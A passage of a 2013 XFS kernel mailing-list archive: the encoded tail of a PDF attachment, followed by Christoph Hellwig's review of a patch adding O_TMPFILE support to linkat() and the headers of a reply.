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 M0EzQzM5QTQ0QTM0OUZENEYzNjRBM0NEMD5dIC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE3 MD4+DQpzdHJlYW0NCnicNdC5DgFhEMDxWbvu+xYRhYrCWfMcKo3XEAmd0iMoHKHVqnWiUQqtmgdY 386fKeaXSWYykxEx4bqWyWkRjymcFOutNGswUloOfJR2HS5K56h0x0pvqMyYmy+V9UvZVOGqbM8i PrO2LDnIQwGy8GspmoHd6l9Z4AMbHPBDAIJQghCEIQJRiEEcEpCEFKQhY27Z84lDwsO635RHQ3lW POz+RBksRL44Qh2sDQplbmRzdHJlYW0NCmVuZG9iag0KeHJlZg0KMCA1NA0KMDAwMDAwMDAyMCA2 NTUzNSBmDQowMDAwMDAwMDE3IDAwMDAwIG4NCjAwMDAwMDAxMjUgMDAwMDAgbg0KMDAwMDAwMDE4 OCAwMDAwMCBuDQowMDAwMDAwNDk4IDAwMDAwIG4NCjAwMDAwMTE1NTQgMDAwMDAgbg0KMDAwMDAx MTYxMyAwMDAwMCBuDQowMDAwMDExNzgwIDAwMDAwIG4NCjAwMDAwMTIwMTkgMDAwMDAgbg0KMDAw MDAxMjA3MiAwMDAwMCBuDQowMDAwMDEyMjM3IDAwMDAwIG4NCjAwMDAwMTI0NjcgMDAwMDAgbg0K MDAwMDAxMjY0MiAwMDAwMCBuDQowMDAwMDEyODg3IDAwMDAwIG4NCjAwMDAwMzI4NjEgMDAwMDAg bg0KMDAwMDAzMzE2OCAwMDAwMCBuDQowMDAwMDQyMjE2IDAwMDAwIG4NCjAwMDAwNDIyNzAgMDAw MDAgbg0KMDAwMDA0MjQ0NyAwMDAwMCBuDQowMDAwMDQyNjk0IDAwMDAwIG4NCjAwMDAwMDAwMjEg NjU1MzUgZg0KMDAwMDAwMDAyMiA2NTUzNSBmDQowMDAwMDAwMDIzIDY1NTM1IGYNCjAwMDAwMDAw MjQgNjU1MzUgZg0KMDAwMDAwMDAyNSA2NTUzNSBmDQowMDAwMDAwMDI2IDY1NTM1IGYNCjAwMDAw MDAwMjcgNjU1MzUgZg0KMDAwMDAwMDAyOCA2NTUzNSBmDQowMDAwMDAwMDI5IDY1NTM1IGYNCjAw MDAwMDAwMzAgNjU1MzUgZg0KMDAwMDAwMDAzMSA2NTUzNSBmDQowMDAwMDAwMDMyIDY1NTM1IGYN CjAwMDAwMDAwMzMgNjU1MzUgZg0KMDAwMDAwMDAzNCA2NTUzNSBmDQowMDAwMDAwMDM1IDY1NTM1 IGYNCjAwMDAwMDAwMzYgNjU1MzUgZg0KMDAwMDAwMDAzNyA2NTUzNSBmDQowMDAwMDAwMDM4IDY1 NTM1IGYNCjAwMDAwMDAwMzkgNjU1MzUgZg0KMDAwMDAwMDA0MCA2NTUzNSBmDQowMDAwMDAwMDQx IDY1NTM1IGYNCjAwMDAwMDAwNDIgNjU1MzUgZg0KMDAwMDAwMDA0MyA2NTUzNSBmDQowMDAwMDAw MDQ0IDY1NTM1IGYNCjAwMDAwMDAwNDUgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDQzNTA3IDAwMDAwIG4NCjAwMDAwNDM1MzQgMDAwMDAgbg0KMDAwMDEyMjA2OCAwMDAwMCBuDQow MDAwMTIyNDA5IDAwMDAwIG4NCjAwMDAxMjI2NTIgMDAwMDAgbg0KMDAwMDIxMjA5MSAwMDAwMCBu DQowMDAwMjEyMzYwIDAwMDAwIG4NCjAwMDAyMzE2NTIgMDAwMDAgbg0KdHJhaWxlcg0KPDwvU2l6 ZSA1NC9Sb290IDEgMCBSL0luZm8gMTkgMCBSL0lEWzwzNDA2QTAyM0EzQzM5QTQ0QTM0OUZENEYz NjRBM0NEMD48MzQwNkEwMjNBM0MzOUE0NEEzNDlGRDRGMzY0QTNDRDA+XSA+Pg0Kc3RhcnR4cmVm DQoyMzIwMjMNCiUlRU9GDQp4cmVmDQowIDANCnRyYWlsZXINCjw8L1NpemUgNTQvUm9vdCAxIDAg Ui9JbmZvIDE5IDAgUi9JRFs8MzQwNkEwMjNBM0MzOUE0NEEzNDlGRDRGMzY0QTNDRDA+PDM0MDZB MDIzQTNDMzlBNDRBMzQ5RkQ0RjM2NEEzQ0QwPl0gL1ByZXYgMjMyMDIzL1hSZWZTdG0gMjMxNjUy Pj4NCnN0YXJ0eHJlZg0KMjMzMjYxDQolJUVPRg== --_002_D2E07B44F582994B88F8F02DDB49B173106C8F07EXMBX1winlutfi_-- From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 10:42:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 59B167F55 for ; Fri, 13 Dec 2013 10:42:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4D80C8F8065 for ; Fri, 13 Dec 2013 08:42:10 -0800 (PST) X-ASG-Debug-ID: 1386952914-04cb6c537c714f90001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id o4wlmXTeWqRlT0yY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 08:41:54 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrVoI-0000EC-5Y; Fri, 13 Dec 2013 16:41:54 +0000 Date: Fri, 13 Dec 2013 08:41:54 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Zhi Yong Wu , linux-kernel@vger.kernel.org Subject: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files Message-ID: <20131213164154.GH20803@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: allow linkat() on O_TMPFILE files References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386944873-16796-6-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386952914 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 10:27:53PM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > Enable O_TMPFILE support in linkat(). > For more info, please refer to: > http://oss.sgi.com/archives/xfs/2013-08/msg00341.html Generall you should provide all reasonable information in the changelog instead of linking to it. > + if (sip->i_d.di_nlink == 0) > + tres = &M_RES(mp)->tr_link_tmpfile; > + else > + tres = &M_RES(mp)->tr_link; As mentioned before I think Dave wanted you to always use the same reservation, but I'll leave that discussion to him. > +/* For creating a link to an O_TMPFILE inode, except modifying > + * those metadata for regular inode, we still need to remove an inode > + * from unlinked list at first. That is, we can modify: > + * the agi hash list and counters: sector size > + * the on disk inode before ours in the agi hash list: inode cluster size > + */ We always have an emptry content /* line at the beginning of comments in XFS and the Linux kernel in general. From zwu.kernel@gmail.com Fri Dec 13 11:30:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4B2C47F3F for ; Fri, 13 Dec 2013 11:30:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3A7CD304053 for ; Fri, 13 Dec 2013 09:30:06 -0800 (PST) X-ASG-Debug-ID: 1386955798-04cb6c537d717190001-NocioJ Received: from mail-ob0-f180.google.com (mail-ob0-f180.google.com [209.85.214.180]) by cuda.sgi.com with ESMTP id a2RCoFv4AEh3RQLE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 13 Dec 2013 09:29:58 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] Received: by mail-ob0-f180.google.com with SMTP id wo20so2275060obc.11 for ; Fri, 13 Dec 2013 09:29:58 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=PJokIvdmn0oaXKK0FP9zB2KyqPUynstKv58TD01A7es=; b=Z9Qthy0AZXfhRShLBQ9gsxF2yBZzWNM/kw8ZQMJiWN/TXTa77zdAILF7G1Sn5lZzau 7I5uQflZQViRYvc9hKuWPhIiibS2pLmJZYfsILY9fI2nQkqxYz10aqjnGVAnVojpsAAy Qm8YZ6SMlk+8o9bZAW/gEKVupJIzWX0ZUjEU7qgdQZZIVtgwVCTbud5GiRk9HdNBs2fp 9HgX3IV1M9NqWa4ttEnA4kdZxKs0mJ9qawzTIKXVnqxveKAXXqEwA1lDAtWsCjfl5V5d WXXd5UuVSsvWNav2TsAvX1rAY8fkC6tDbGw0bWg9OG1njHHneH8ftakZTF2jni3salJh tBZQ== MIME-Version: 1.0 X-Received: by 10.60.37.33 with SMTP id v1mr2538462oej.2.1386955798275; Fri, 13 Dec 2013 09:29:58 -0800 (PST) Received: by 10.182.248.201 with HTTP; Fri, 13 Dec 2013 09:29:58 -0800 (PST) In-Reply-To: <20131213163733.GF20803@infradead.org> References: <1386944873-16796-1-git-send-email-zwu.kernel@gmail.com> <1386944873-16796-4-git-send-email-zwu.kernel@gmail.com> <20131213163733.GF20803@infradead.org> Date: Sat, 14 Dec 2013 01:29:58 +0800 Message-ID: Subject: Re: [PATCH 3/5] xfs: add xfs_create_tmpfile() for O_TMPFILE support From: Zhi Yong Wu 